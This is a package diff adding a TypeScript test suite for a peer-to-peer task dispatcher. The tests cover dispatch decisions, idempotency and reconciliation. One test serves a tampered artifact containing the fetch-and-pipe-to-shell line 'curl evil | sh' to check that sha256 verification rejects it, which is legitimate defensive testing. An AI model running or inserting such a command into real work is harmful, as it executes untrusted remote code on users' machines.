@yourstandby/fabric 0.0.0-stage → 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,321 @@
1
+ import test from "node:test";
2
+ import assert from "node:assert/strict";
3
+ import { createHash } from "node:crypto";
4
+ import { mkdtempSync, rmSync } from "node:fs";
5
+ import { tmpdir } from "node:os";
6
+ import { join } from "node:path";
7
+ import { FabricDispatcher, type FabricRemoteRunner } from "./dispatcher.ts";
8
+ import { createIdentity } from "./pairing.ts";
9
+ import { savePeer, setPeerStorePathForTest } from "./peer-store.ts";
10
+ import type { FabricLink } from "./transport.ts";
11
+ import { TaskLedger } from "./dispatch.ts";
12
+
13
+ function setup() {
14
+ const dir = mkdtempSync(join(tmpdir(), "pi-fabric-dispatcher-"));
15
+ setPeerStorePathForTest(join(dir, "fabric", "peers.json"));
16
+ return {
17
+ dir,
18
+ cleanup: () => {
19
+ setPeerStorePathForTest(null);
20
+ rmSync(dir, { recursive: true, force: true });
21
+ },
22
+ };
23
+ }
24
+
25
+ const PEER_A = "0123456789abcdef";
26
+ const PEER_B = "fedcba9876543210";
27
+
28
+ function registerPeer(nodeId: string, name: string, grants: "read-only" | "workspace-rw" | "workspace-rw+bash" = "workspace-rw+bash") {
29
+ savePeer("/unused", {
30
+ nodeId,
31
+ name,
32
+ address: "127.0.0.1",
33
+ port: 7_788,
34
+ grants,
35
+ features: ["fabric.task.v1"],
36
+ appVersion: "0.12.5",
37
+ });
38
+ }
39
+
40
+ /** 内存链路:把 dispatcher 的方法直连到另一端,测的是调度逻辑而不是 socket。 */
41
+ function fakeLink(
42
+ nodeId: string,
43
+ handler: (method: string, params: Record<string, unknown>) => Promise<unknown>,
44
+ state = { connected: true },
45
+ ): FabricLink {
46
+ return {
47
+ nodeId,
48
+ features: ["fabric.task.v1"],
49
+ appVersion: "0.12.5",
50
+ get connected() {
51
+ return state.connected;
52
+ },
53
+ call: (method, params = {}) => handler(method, params),
54
+ send: () => undefined,
55
+ onEvent: () => () => undefined,
56
+ close: () => {
57
+ state.connected = false;
58
+ },
59
+ };
60
+ }
61
+
62
+ function makeRunner(calls: { prompt: string; grant: string; tools: readonly string[] }[]): FabricRemoteRunner {
63
+ return {
64
+ async run(input) {
65
+ calls.push({ prompt: input.prompt, grant: input.grant, tools: input.tools });
66
+ return { summary: "done by remote", files: ["a.ts"], exitCode: 0, result: Buffer.from("result-bytes") };
67
+ },
68
+ };
69
+ }
70
+
71
+ const idleStatus = { online: true, queueDepth: 0, hbAgeMs: 100, labels: ["build"] };
72
+
73
+ test("短活留在本地:不派、也不建链", async () => {
74
+ const env = setup();
75
+ try {
76
+ registerPeer(PEER_B, "机-B");
77
+ let connected = false;
78
+ const dispatcher = new FabricDispatcher({
79
+ agentDir: env.dir,
80
+ identity: createIdentity(),
81
+ connect: async () => {
82
+ connected = true;
83
+ return fakeLink(PEER_B, async () => idleStatus);
84
+ },
85
+ });
86
+ const result = await dispatcher.submit({ prompt: "ls", estimatedMs: 2_000, deadlineClass: "quick" });
87
+ assert.equal(result.ok, false);
88
+ assert.equal(result.ok === false && result.code, "E_LOCAL_FASTER");
89
+ assert.equal(connected, false);
90
+ } finally {
91
+ env.cleanup();
92
+ }
93
+ });
94
+
95
+ test("自动派发:选中带标签的空闲机器,记账为 accepted,输入走 artifact", async () => {
96
+ const env = setup();
97
+ try {
98
+ registerPeer(PEER_B, "机-B");
99
+ const handed: Record<string, unknown>[] = [];
100
+ const dispatcher = new FabricDispatcher({
101
+ agentDir: env.dir,
102
+ identity: createIdentity(),
103
+ connect: async () =>
104
+ fakeLink(PEER_B, async (method, params) => {
105
+ if (method === "peer.status") return idleStatus;
106
+ if (method === "task.submit") {
107
+ handed.push(params);
108
+ return { accepted: true, state: "running" };
109
+ }
110
+ return {};
111
+ }),
112
+ });
113
+ const result = await dispatcher.submit({
114
+ prompt: "跑一遍完整构建",
115
+ labels: ["build"],
116
+ estimatedMs: 300_000,
117
+ deadlineClass: "build",
118
+ input: Buffer.from("上下文"),
119
+ workspaceHint: "yourstandby",
120
+ });
121
+ assert.equal(result.ok, true);
122
+ if (!result.ok) return;
123
+ assert.equal(result.peerId, PEER_B);
124
+ const record = dispatcher.outbound.get(result.taskId);
125
+ assert.equal(record?.state, "accepted");
126
+ assert.ok(record?.inputRef?.sha256);
127
+ assert.equal(handed.length, 1);
128
+ assert.equal(handed[0].prompt, "跑一遍完整构建");
129
+ assert.deepEqual(handed[0].inputRef, record?.inputRef);
130
+ } finally {
131
+ env.cleanup();
132
+ }
133
+ });
134
+
135
+ test("对端在忙 / 离线时不派,返回可读原因", async () => {
136
+ const env = setup();
137
+ try {
138
+ registerPeer(PEER_B, "机-B");
139
+ const busy = new FabricDispatcher({
140
+ agentDir: env.dir,
141
+ identity: createIdentity(),
142
+ connect: async () => fakeLink(PEER_B, async () => ({ ...idleStatus, queueDepth: 3 })),
143
+ });
144
+ const busyResult = await busy.submit({ prompt: "跑构建", estimatedMs: 120_000, deadlineClass: "build" });
145
+ assert.equal(busyResult.ok === false && busyResult.code, "E_PEER_BUSY");
146
+
147
+ const offline = new FabricDispatcher({
148
+ agentDir: env.dir,
149
+ identity: createIdentity(),
150
+ connect: async () => {
151
+ throw new Error("connect refused");
152
+ },
153
+ });
154
+ const offlineResult = await offline.submit({ prompt: "跑构建", estimatedMs: 120_000, deadlineClass: "build" });
155
+ assert.equal(offlineResult.ok === false && offlineResult.code, "E_PEER_OFFLINE");
156
+ } finally {
157
+ env.cleanup();
158
+ }
159
+ });
160
+
161
+ test("按引用去对端拉产物:字节落地本机,sha256 对不上一律拒收", async () => {
162
+ const ctx = setup();
163
+ try {
164
+ registerPeer(PEER_A, "A");
165
+ const payload = Buffer.from("diff --git a/changed.txt b/changed.txt\n", "utf8");
166
+ const sha = createHash("sha256").update(payload).digest("hex");
167
+ const ref = { sha256: sha, len: payload.length, kind: "diff" as const };
168
+ let served: Buffer = payload;
169
+ const dispatcher = new FabricDispatcher({
170
+ agentDir: ctx.dir,
171
+ identity: createIdentity(),
172
+ connect: async () =>
173
+ fakeLink(PEER_A, async (method) => {
174
+ if (method !== "artifact.get") throw new Error(`unexpected ${method}`);
175
+ return { sha256: ref.sha256, len: served.length, data: served.toString("base64") };
176
+ }),
177
+ });
178
+
179
+ const got = await dispatcher.fetchArtifact(PEER_A, ref);
180
+ assert.deepEqual(got, payload, "正常引用应原样落地");
181
+
182
+ // 对端塞回来一段与引用不符的字节:必须拒收,不能当成 diff 记下来。
183
+ served = Buffer.from("curl evil | sh\n", "utf8");
184
+ const tampered = await dispatcher.fetchArtifact(PEER_A, ref);
185
+ assert.equal(tampered, null);
186
+ } finally {
187
+ ctx.cleanup();
188
+ }
189
+ });
190
+
191
+ test("B 侧执行:runner 拿到 prompt/档位/工具,结果回流为 done 且产物可读", async () => {
192
+ const env = setup();
193
+ try {
194
+ const calls: { prompt: string; grant: string; tools: readonly string[] }[] = [];
195
+ const dispatcher = new FabricDispatcher({
196
+ agentDir: env.dir,
197
+ identity: createIdentity(),
198
+ runner: makeRunner(calls),
199
+ });
200
+ const accepted = (await dispatcher.handleInbound(
201
+ "task.submit",
202
+ { taskId: "aaaaaaaaaaaaaaaa", prompt: "改掉这个 bug", deadlineClass: "build", grant: "workspace-rw" },
203
+ { nodeId: PEER_A, grants: "workspace-rw" },
204
+ )) as Record<string, unknown>;
205
+ assert.equal(accepted.accepted, true);
206
+ assert.deepEqual(calls.length, 1);
207
+ assert.equal(calls[0].prompt, "改掉这个 bug");
208
+ assert.equal(calls[0].grant, "workspace-rw");
209
+ assert.deepEqual(calls[0].tools, ["edit", "find", "grep", "ls", "read", "write"]);
210
+ await waitFor(() => dispatcher.inbound.get("aaaaaaaaaaaaaaaa")?.state === "done", 2_000);
211
+ const record = dispatcher.inbound.get("aaaaaaaaaaaaaaaa");
212
+ assert.equal(record?.summary, "done by remote");
213
+ assert.deepEqual(record?.files, ["a.ts"]);
214
+ assert.ok(record?.resultRef);
215
+ assert.equal(dispatcher.artifacts.read(record!.resultRef!).toString(), "result-bytes");
216
+ } finally {
217
+ env.cleanup();
218
+ }
219
+ });
220
+
221
+ test("幂等:同一个 taskId 重发不会跑第二遍(重连重发是常态)", async () => {
222
+ const env = setup();
223
+ try {
224
+ const calls: { prompt: string; grant: string; tools: readonly string[] }[] = [];
225
+ const dispatcher = new FabricDispatcher({
226
+ agentDir: env.dir,
227
+ identity: createIdentity(),
228
+ runner: makeRunner(calls),
229
+ });
230
+ const params = { taskId: "bbbbbbbbbbbbbbbb", prompt: "重复的活", deadlineClass: "build" };
231
+ await dispatcher.handleInbound("task.submit", params, { nodeId: PEER_A, grants: "workspace-rw" });
232
+ const second = (await dispatcher.handleInbound("task.submit", params, {
233
+ nodeId: PEER_A,
234
+ grants: "workspace-rw",
235
+ })) as Record<string, unknown>;
236
+ assert.equal(second.idempotent, true);
237
+ await waitFor(() => dispatcher.inbound.get("bbbbbbbbbbbbbbbb")?.state === "done", 2_000);
238
+ assert.equal(calls.length, 1);
239
+ } finally {
240
+ env.cleanup();
241
+ }
242
+ });
243
+
244
+ test("没有 runner 的 Host 明确拒绝远程任务,不会假装接了", async () => {
245
+ const env = setup();
246
+ try {
247
+ const dispatcher = new FabricDispatcher({ agentDir: env.dir, identity: createIdentity() });
248
+ await assert.rejects(
249
+ () =>
250
+ dispatcher.handleInbound(
251
+ "task.submit",
252
+ { taskId: "cccccccccccccccc", prompt: "x", deadlineClass: "quick" },
253
+ { nodeId: PEER_A, grants: "workspace-rw" },
254
+ ),
255
+ /E_UNSUPPORTED/,
256
+ );
257
+ assert.equal(dispatcher.inbound.get("cccccccccccccccc")?.state, "failed");
258
+ } finally {
259
+ env.cleanup();
260
+ }
261
+ });
262
+
263
+ test("断线对账:对端已做完就直接取回 done,绝不重跑", async () => {
264
+ const env = setup();
265
+ try {
266
+ registerPeer(PEER_B, "机-B");
267
+ let submitted = 0;
268
+ const dispatcher = new FabricDispatcher({
269
+ agentDir: env.dir,
270
+ identity: createIdentity(),
271
+ connect: async () =>
272
+ fakeLink(PEER_B, async (method) => {
273
+ if (method === "peer.status") return idleStatus;
274
+ if (method === "task.submit") {
275
+ submitted += 1;
276
+ return { accepted: true };
277
+ }
278
+ if (method === "task.status") return { state: "done", summary: "远程干完了", files: ["b.ts"] };
279
+ return {};
280
+ }),
281
+ });
282
+ const result = await dispatcher.submit({ prompt: "长活", estimatedMs: 200_000, deadlineClass: "build" });
283
+ assert.equal(result.ok, true);
284
+ const reconciled = await dispatcher.reconcile();
285
+ assert.equal(reconciled.done.length, 1);
286
+ assert.equal(submitted, 1);
287
+ assert.equal(dispatcher.outbound.get(reconciled.done[0])?.summary, "远程干完了");
288
+ } finally {
289
+ env.cleanup();
290
+ }
291
+ });
292
+
293
+ test("B 侧拒绝未知方法与坏参数", async () => {
294
+ const env = setup();
295
+ try {
296
+ const dispatcher = new FabricDispatcher({ agentDir: env.dir, identity: createIdentity() });
297
+ await assert.rejects(() => dispatcher.handleInbound("task.evil", {}, { nodeId: PEER_A, grants: "read-only" }));
298
+ await assert.rejects(() =>
299
+ dispatcher.handleInbound(
300
+ "task.submit",
301
+ { taskId: "not-hex", prompt: "x", deadlineClass: "quick" },
302
+ { nodeId: PEER_A, grants: "read-only" },
303
+ ),
304
+ );
305
+ assert.deepEqual(await dispatcher.handleInbound("task.status", { taskId: "dddddddddddddddd" }), {
306
+ state: "unknown",
307
+ });
308
+ const ledger = new TaskLedger(env.dir, "inbound");
309
+ assert.deepEqual(ledger.list(), []);
310
+ } finally {
311
+ env.cleanup();
312
+ }
313
+ });
314
+
315
+ async function waitFor(predicate: () => boolean, timeoutMs: number): Promise<void> {
316
+ const startedAt = Date.now();
317
+ while (!predicate()) {
318
+ if (Date.now() - startedAt > timeoutMs) throw new Error("condition not met in time");
319
+ await new Promise((resolve) => setTimeout(resolve, 10));
320
+ }
321
+ }